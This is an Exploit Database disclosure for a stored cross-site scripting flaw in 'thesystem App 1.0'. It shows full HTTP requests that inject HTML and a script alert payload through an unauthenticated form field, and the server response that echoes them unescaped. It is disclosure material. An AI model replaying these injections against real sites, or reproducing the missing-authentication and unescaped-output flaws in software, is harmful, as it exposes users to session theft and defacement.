thesystem App 1.0 – Persistent Cross-Site Scripting

• Exploit Database
• 13 阅读

• 作者： İsmail Güngör
  日期： 2019-09-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47431/

• # Exploit Title: thesystem App 1.0 - Persistent Cross-Site Scripting
  # Author: İsmail Güngör 
  # Discovery Date: 2019-09-26 
  # Vendor Homepage: https://github.com/kostasmitroglou/thesystem 
  # Software Link: https://github.com/kostasmitroglou/thesystem 
  # Tested Version: 1.0 
  # Tested on OS: Windows 10 
  # CVE: N/A 
  
  # Description: 
  # Stored XSS after login bypass(login_required didn't used) 
  
  First of all following request is sent web server 
  
  POST /data/ HTTP/1.1 
  Host: 127.0.0.1:8000 
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
  Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 
  Accept-Encoding: gzip, deflate 
  Content-Type: multipart/form-data; boundary=---------------------------191691572411478 
  Content-Length: 332 
  Connection: close 
  Referer: http://127.0.0.1:8000/data/ 
  Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.4.567905900.1569231977 
  Upgrade-Insecure-Requests: 1 
  
  -----------------------------191691572411478 
  Content-Disposition: form-data; name="csrfmiddlewaretoken" 
  
  0sryZfN7NDe4UUwhjehPQxPRtaMSq85nbGQjmLc9KL79DBOsfK0Plkvp2MwPus75 
  -----------------------------191691572411478 
  Content-Disposition: form-data; name="server_name" 
  
  <h1>test 
  -----------------------------191691572411478-- 
  
  After following request is sent web server 
  
  GET /show_search/ HTTP/1.1 
  Host: 127.0.0.1:8000 
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
  Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 
  Accept-Encoding: gzip, deflate 
  Connection: close 
  Referer: http://127.0.0.1:8000/data/ 
  Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.4.567905900.1569231977 
  Upgrade-Insecure-Requests: 1 
  
  # Finally, response is shown Xtored XSS: 
  
  HTTP/1.1 200 OK 
  Date: Thu, 26 Sep 2019 12:25:19 GMT 
  Server: WSGIServer/0.2 CPython/3.5.3 
  Content-Type: text/html; charset=utf-8 
  X-Frame-Options: SAMEORIGIN 
  Content-Length: 176 
  
  ('2019-09-26 14:25:01.878572', '1')('2019-09-26 15:16:11.013642', '1')('2019-09-26 15:21:52.962785', '<h1>test')('2019-09-26 15:23:50.367709', '<script>alert("kale")</script>')